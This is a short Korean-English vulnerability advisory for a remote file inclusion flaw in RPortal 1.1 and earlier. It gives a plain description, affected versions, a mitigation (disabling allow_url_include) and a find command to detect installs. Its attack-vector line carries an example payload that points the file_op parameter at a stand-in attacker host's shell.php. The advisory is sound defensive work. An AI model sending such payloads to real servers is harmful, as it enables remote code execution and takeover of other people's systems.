🇰🇷 한글 설명
RPortal 1.1 이하 버전의 index.php에 존재하는 원격 파일 포함(RFI) 취약점으로, file_op 파라미터를 통해 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 서버에 직접 접근하지 않고도 외부 서버의 PHP 파일을 로드하여 실행 가능합니다.
💡 쉬운 설명
RPortal 웹 애플리케이션이 file_op라는 입력값을 검증 없이 처리하여, 해커가 원격 서버의 악의적인 파일을 실행하도록 만들 수 있습니다. 이를 통해 웹 서버 전체를 제어할 수 있게 됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in index.php in RPortal 1.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the file_op parameter.
📍 영향받는 시스템
RPortal 1.1 및 그 이전 버전
⚔️ 공격 벡터
HTTP GET/POST 요청의 file_op 파라미터에 원격 PHP 파일 URL 삽입 (예: ?file_op=http://attacker.com/shell.php)
🛡️ 대응 방법
RPortal를 최신 버전으로 업그레이드하거나, PHP의 allow_url_include 설정 비활성화(php.ini: allow_url_include=Off)
🔧 검증 코드
RPortal 설치 경로가 나타나면 설치된 것이고, 해당 디렉토리의 버전 정보(README, CHANGELOG 등)를 확인하여 1.1 이하인지 확인합니다.
find / -name 'rportal*' -o -name 'index.php' -path '*/rportal/*' 2>/dev/null | head -5